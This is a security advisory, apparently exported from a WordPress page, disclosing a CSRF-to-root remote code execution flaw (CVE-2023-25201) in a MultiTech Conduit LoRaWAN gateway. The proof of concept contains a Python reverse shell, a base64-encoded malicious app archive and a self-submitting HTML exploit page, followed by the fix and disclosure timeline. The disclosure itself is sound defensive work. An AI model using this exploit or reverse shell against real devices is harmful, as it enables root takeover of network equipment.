{"id":20549,"date":"2023-07-07T14:08:08","date_gmt":"2023-07-07T12:08:08","guid":{"rendered":"https:\/\/herolab.usd.de\/20536-2\/"},"modified":"2023-07-31T16:01:56","modified_gmt":"2023-07-31T14:01:56","slug":"usd-2023-0004","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0004\/","title":{"rendered":"usd-2023-0004"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.21.0\" _module_preset=\"default\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2023-0004 | CSRF =&gt; RCE in MultiTech Conduit AP MTCAP2-L4E1<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2023-0004<br \/><strong>Product<\/strong>: MultiTech Conduit AP MTCAP2-L4E1 (https:\/\/www.multitech.com\/models\/92507614LF)<br \/><strong>Affected Version<\/strong>: MTCAP2-L4E1-868-042A Firmware 6.0.0<br \/><strong>Vulnerability Type<\/strong>: CSRF<br \/><strong>Security Risk<\/strong>: High (based on CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:H\/I:H\/A:H == 9.6)<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/www.multitech.com<\/a><br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE number<\/strong>: CVE-2023-25201<br \/><strong>First Published<\/strong>: Not published yet<\/p>\n<p>&nbsp;<\/p>\n<h1>Description<\/h1>\n<p>MultiTech Conduit AP MTCAP2-L4E1 is a LoRaWAN access point to provide connectivity of IoT assets.<br \/>The webinterface allows configuration of settings like user management, LoRaWAN, Firewall and custom applications.<br \/>During an assessment it was discovered that the whole webinterface of the access point is vulnerable to cross-site request forgery attacks (CSRF) attacks.<br \/>An attacker might be able to cause a user to unknowingly send requests to a vulnerable application.<br \/>If the user has previously authenticated himself towards the application, those requests will be executed according to the user's privileges.<br \/>Should the user possess administrative privileges this might enable the attacker to fully compromise the system.<br \/>A proof-of-concept exploit was written to show remote code execution exploiting the CSRF vulnerability.<br \/>In order to exploit this vulnerability an attacker needs to fool the user into visiting a specially crafted site of the attacker.<\/p>\n<p>The application uses API requests to load content dynamically into the frontend.<br \/>All API requests are transmitted via HTTPS with a JSON body.<br \/>Such API requests are sent by JavaScript.<br \/>Other websites are not permitted to send those requests to the API because the Same-Origin-Policy prevents cross-site requests with a <strong>application\/json<\/strong> MIME type.<br \/>The listing below shows such a request.<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">POST \/api\/command\/app_pre_upload HTTP\/1.1\nHost: 192.168.0.107\nCookie: token=78A1B1B4662172CE4C87AA5D4477\nContent-Length: 73\nContent-Type: application\/json\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/109.0.5414.120 Safari\/537.36\nConnection: close\n\n{\"info\":{\"fileName\":\"express-hello-world-1.4.tar.gz\",\"fileSize\":1689541}}\n<\/pre>\n<p>Trying to send the same request from the page of the attacker would be blocked by the user's browser.<br \/>Typical bypasses to perform CSRF attacks are changing the Content-Type to <strong>text\/plain<\/strong> and attaching the JSON or abusing lax CORS headers.<br \/>In case of the access point another approach was used.<br \/>The Burp Extension Param Miner was used to discover additional hidden GET parameters for the request.<br \/>In our case it was found that the server accepted the parameter <strong>data<\/strong> for every API endpoint.<br \/>This parameter can contain the whole JSON which is usually transmitted in the request body.<br \/>It was determined that the server would also accept such a request below.<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">POST \/api\/command\/app_pre_upload?data={\"info\"%3a{\"fileName\"%3a\"express-hello-world-1.4.tar.gz\",\"fileSize\"%3a1689541}} HTTP\/1.1\nHost: 192.168.0.107\nCookie: token=EC8C377E51447AF14BA16704D328D7E\nAccept: application\/json\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/109.0.5414.120 Safari\/537.36\nConnection: close\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 0\n<\/pre>\n<p>These types of requests are ideal to perform a CSRF attack on any endpoint of the API, since the SOP is not triggered with such a request.<\/p>\n<h1>Proof of Concept<\/h1>\n<p>The application allows uploading and installing custom applications with Python, C++ or NodeJS applications. This functionality can be abused in a CSRF attack to receive remote command execution on the system.<\/p>\n<p>To install a custom app on the router, the application archive must meet a certain archive format.<br \/>MultiTech has documented the archive format in the following post <a>http:\/\/www.multitech.net\/developer\/software\/aep\/creating-a-custom-application\/<\/a><br \/>The easiest method is to download the &lt;<a>https:\/\/webfiles.multitech.com\/wireless\/mtcdt-x-210a\/express-hello-world-1.4.tar.gz&gt;<\/a> files and modify certain files.<br \/>The following snippet shows the archive format.<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">revshell.tar.gz\n\u251c\u2500\u2500 Install\n\u251c\u2500\u2500 manifest.json\n\u251c\u2500\u2500 package.json\n\u251c\u2500\u2500 Start\n\u2514\u2500\u2500 status.json\n<\/pre>\n<p>In particular the <strong>Install<\/strong> file in the archive can be modified.<br \/>If a new custom app is installed on the router the <strong>Install<\/strong> file will be executed one time.<br \/>The <strong>Start<\/strong> file will be executed everytime the custom app is started.<br \/>The content of the file can be overriden with the commands that should be executed.<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%\">#!\/bin\/bash\npython3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"192.168.0.109\",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'\n\nexit 0\n<\/pre>\n<p>The second line of the script contains a python reverse shell payload.<br \/>The modified archive can then be base64 encoded to weaponize it in the next step.<br \/>The following listing shows the command to encode the archive.<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">$ base64 revshell.tar.gz -w 0                                                                                                                    H4sIABXG02MAA+1YTY+bMBTcM7\/CpYcFiXhtY6Bp1EOl9pDLXlbqpWolPkziLrEt22wSVfvfa0KSbittcyJtuszF6L2HjZHnzcBcGJs3zdWQQAhlWQLciLMEPR17EEoApnFKMxojQgDCJKP4CqBBn2qP1u1fu0dZMK23f6g7le+3Ao7jheD1q5uCi5siN0vPU1u7lCIGkxJc85WS2gJpImW3kZHlPbMz866\/gP0QhDMDSykEK20Q+HhKIE7fQAQxmvrR1CEMZ5+lgVWrSGBgzRsmZBBGdVhLDWrARYAiHJHwy8ytAo3K1yLwzdIPrz2PbbgFyPvbb+j\/xioXvGbGwm9GioHWcHxIU\/o8\/3GSHfhPugTCFBMy8v8c+O4B4L9X6jZfMf8t8DV7YNows2RN40f75CcX4lJ0eQzpMfyBmVJzZfepjxvVSG5\/v+tWWma6vO89jmT+16Dy8j5fsCHpf5L\/hFLgJJ\/QOEkynO74H9Mz878o8i3Tz9edyl8y\/8We\/GyjNDNm0pFfTtZSN1XPZqX5Q267GqtbtgtVTDFRMVHyHbu7ecBxhm4yCnG8bxbgydS5qBpW5HpX8zV2ZgEdatbcmdG+lxBIXNyFH8emMSju3Om3A69xyv+7BvBT\/1HS+X\/XCkb9Pwd+8f+j435xcKfftmZQ+T+p\/yhLO\/2PMSLu+3\/n\/9HZv\/9fsv4rXjnRRQfjPhe17ER43v8bYlUEitYCIS3YMgt0KwQXi9HOjxgxYsQl4we0\/Cg8ABgAAA==\n<\/pre>\n<p>To automate the attack, an HTML web page was created that prepares the file upload, uploads the created file and then triggers the installation of this file.<br \/>Such an HTML is displayed in the listing below.<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">&lt;html&gt;\n&lt;body&gt;\n&lt;form action=\"[https:\/\/192.168.0.107\/api\/command\/app_pre_upload?data={&amp;quot;info&amp;quot;%3a{&amp;quot;fileName&amp;quot;%3a&amp;quot;revshell.tar.gz&amp;quot;,&amp;quot;fileSize&amp;quot;%3a574}}\"]() target=\"_blank\" method=\"POST\"&gt;\n      &lt;input type=\"submit\" value=\"Prepare File Upload\" \/&gt;\n&lt;\/form&gt;\n&lt;form enctype=\"multipart\/form-data\" method=\"post\" action=\"[https:\/\/192.168.0.107\/api\/command\/app_upload\"]() target=\"_blank\" name=\"fileinfo\"&gt;\n  &lt;p&gt;\n    &lt;label&gt;File to stash:\n      &lt;input type=\"file\" name=\"archivo\" \/&gt;\n    &lt;\/label&gt;\n  &lt;\/p&gt;\n  &lt;p&gt;\n    &lt;input type=\"submit\" value=\"Upload File\" \/&gt;\n  &lt;\/p&gt;\n&lt;\/form&gt;\n&lt;div id=\"output\"&gt;&lt;\/div&gt;\n&lt;script&gt;\n    function _base64ToArrayBuffer(base64) {\n      var binary_string = window.atob(base64);\n      var len = binary_string.length;\n      var bytes = new Uint8Array(len);\n      for (var i = 0; i &lt; len; i++) {\n          bytes[i] = binary_string.charCodeAt(i);\n      }\n      return bytes.buffer;\n    }\n\n    \/\/ Get a reference to our file input\n    const fileInput = document.querySelector('input[type=\"file\"]');\n\n    \/\/ Create a new File object\n    const payload = 'H4sIABXG02MAA+1YTY+bMBTcM7\/CpYcFiXhtY6Bp1EOl9pDLXlbqpWolPkziLrEt22wSVfvfa0KSbittcyJtuszF6L2HjZHnzcBcGJs3zdWQQAhlWQLciLMEPR17EEoApnFKMxojQgDCJKP4CqBBn2qP1u1fu0dZMK23f6g7le+3Ao7jheD1q5uCi5siN0vPU1u7lCIGkxJc85WS2gJpImW3kZHlPbMz866\/gP0QhDMDSykEK20Q+HhKIE7fQAQxmvrR1CEMZ5+lgVWrSGBgzRsmZBBGdVhLDWrARYAiHJHwy8ytAo3K1yLwzdIPrz2PbbgFyPvbb+j\/xioXvGbGwm9GioHWcHxIU\/o8\/3GSHfhPugTCFBMy8v8c+O4B4L9X6jZfMf8t8DV7YNows2RN40f75CcX4lJ0eQzpMfyBmVJzZfepjxvVSG5\/v+tWWma6vO89jmT+16Dy8j5fsCHpf5L\/hFLgJJ\/QOEkynO74H9Mz878o8i3Tz9edyl8y\/8We\/GyjNDNm0pFfTtZSN1XPZqX5Q267GqtbtgtVTDFRMVHyHbu7ecBxhm4yCnG8bxbgydS5qBpW5HpX8zV2ZgEdatbcmdG+lxBIXNyFH8emMSju3Om3A69xyv+7BvBT\/1HS+X\/XCkb9Pwd+8f+j435xcKfftmZQ+T+p\/yhLO\/2PMSLu+3\/n\/9HZv\/9fsv4rXjnRRQfjPhe17ER43v8bYlUEitYCIS3YMgt0KwQXi9HOjxgxYsQl4we0\/Cg8ABgAAA=='\n    var test = _base64ToArrayBuffer(payload)\n\n    \/\/const testblob = b64toBlob(test, \"application\/gzip\");\n\n\n\n    const myFile = new File([test], 'revshell.tar.gz', {\n        type: 'application\/gzip',\n        lastModified: new Date(),\n    });\n\n    \/\/ Now let's create a DataTransfer to get a FileList\n    const dataTransfer = new DataTransfer();\n    dataTransfer.items.add(myFile);\n    fileInput.files = dataTransfer.files;\n&lt;\/script&gt;\n&lt;form action=\"[https:\/\/192.168.0.107\/api\/command\/app_install?data={&amp;quot;info&amp;quot;%3a{&amp;quot;appId&amp;quot;%3a&amp;quot;revshell&amp;quot;,&amp;quot;appName&amp;quot;%3a&amp;quot;revshell&amp;quot;,&amp;quot;appFile&amp;quot;%3a&amp;quot;revshell.tar.gz&amp;quot;}}\"]() method=\"POST\" target=\"_blank\"&gt;\n   &lt;input type=\"submit\" value=\"Install uploaded file\" \/&gt;\n&lt;\/form&gt;\n\n&lt;script&gt;\n\nconst sleep = async (milliseconds) =&gt; {\n    await new Promise(resolve =&gt; {\n        return setTimeout(resolve, milliseconds)\n    });\n};\n\nconst testSleep = async () =&gt; {\n    document.forms[0].submit();\n    await sleep(2000);\n    document.forms[1].submit();\n    await sleep(2000);\n    document.forms[2].submit();\n}\ntestSleep();\n&lt;\/script&gt;\n&lt;\/body&gt;\n&lt;html&gt;\n<\/pre>\n<p>The encoded archive is embedded into the HTML.<br \/>The HTML consists of three different forms.<br \/>An attacker could present this HTML to an authenticated administrator to trigger the installation of the custom application.<br \/>Note that all the forms are filled and requests are automatically submitted to the LoRaWAN gateway, if the HTML is visited.<\/p>\n<p>The first form would prepare the file upload.<br \/>This request is needed to reserve the file name and file size.<\/p>\n<p>The second form performs the file upload.<br \/>We discovered that the file upload with XHR was not possible because CORS prevents browsers to attach the user's session cookie to such a request.<br \/>The solution we came up with was to perform a file upload with multipart form and fill the file content with the base64 decoded archive.<br \/>Idea and code snippet were extracted from the following blog post <a>https:\/\/pqina.nl\/blog\/set-value-to-file-input\/<\/a><br \/>The base64 encoded archive is statically embedded in the JavaScript and will be decoded upon file initialization.<br \/>This form will also be filled automatically and submitted to the server.<\/p>\n<p>The third form is used to install the uploaded application.<br \/>After the previous two forms have been completed and submitted, this form is also submitted.<br \/>The server should respond to all of those requests with following message.<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">{\n    \"code\" : 200,\n    \"status\" : \"success\"\n}\n<\/pre>\n<p>As already discussed above, a reverse shell payload was inserted into the <strong>Install<\/strong> file.<br \/>To receive the reverse shell connection the attacker needs to open the TCP port 9999 on his local system.<br \/>The following listing shows a TCP listener and a successful connect back.<br \/>To proof remote command execution, the command <strong>whoami<\/strong> was executed to detemine the user running the reverse shell payload.<br \/>The server responds with <strong>root<\/strong> showing that the all applications installed are executed with the highest privileges.<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">$ nc -lvp 9999\nlistening on [any] 9999 ...\n192.168.0.107: inverse host lookup failed: Unknown host\nconnect to [192.168.0.109] from (UNKNOWN) [192.168.0.107] 46190\nsh-5.0# whoami\nwhoami\nroot\n<\/pre>\n<p>&nbsp;<\/p>\n<p>[\/et_pb_text][et_pb_code _builder_version=\"4.21.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\" width=\"50%\"]<iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube-nocookie.com\/embed\/K6oxlWvFMy0\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>[\/et_pb_code][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<h1>Fix<\/h1>\n<p>It is recommended to secure every user action using an anti-CSRF token.<br \/>Such a token consists of a pseudorandom value which is transmitted with every user request using a hidden field.<br \/>Upon arrival of a new user request the server validates the anti-CSRF token.<br \/>The user request is then processed only in case of a successful token validation.<br \/>Such a token has to be generated at least once for every user session.<br \/>Further information on this matter can be found in the CSRF Prevention Cheat Sheet provided by OWASP.<\/p>\n<h3>References<\/h3>\n<p><a>https:\/\/cheatsheetseries.owasp.org\/cheatsheets\/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.htm;<\/a><\/p>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2023-01-31<\/strong>: Vulnerability identified by Gerbert Roitburd<\/li>\n<li><strong>2023-02-03<\/strong>: Vendor contact through contact formula<\/li>\n<li><strong>2023-02-13<\/strong>: Contact vendor using mail from homepage<\/li>\n<li><strong>2023-02-27<\/strong>: Third attempt to contact vendor by mail<\/li>\n<li><strong>2023-02-28<\/strong>: Received response and shared details with vendor<\/li>\n<li><strong>2023-05-19<\/strong>: Vendor notified us that a patch is available<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Gerbert Roitburd &amp; Christian Poeschl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2023-0004 | CSRF =&gt; RCE in MultiTech Conduit AP MTCAP2-L4E1 Advisory ID: usd-2023-0004Product: MultiTech Conduit AP MTCAP2-L4E1 (https:\/\/www.multitech.com\/models\/92507614LF)Affected Version: MTCAP2-L4E1-868-042A Firmware 6.0.0Vulnerability Type: CSRFSecurity Risk: High (based on CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:H\/I:H\/A:H == 9.6)Vendor URL: https:\/\/www.multitech.comVendor Status: FixedCVE number: CVE-2023-25201First Published: Not published yet &nbsp; Description MultiTech Conduit AP MTCAP2-L4E1 is a LoRaWAN access point to provide connectivity [&hellip;]<\/p>\n","protected":false},"author":90,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-20549","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20549","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/90"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=20549"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20549\/revisions"}],"predecessor-version":[{"id":20620,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20549\/revisions\/20620"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=20549"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}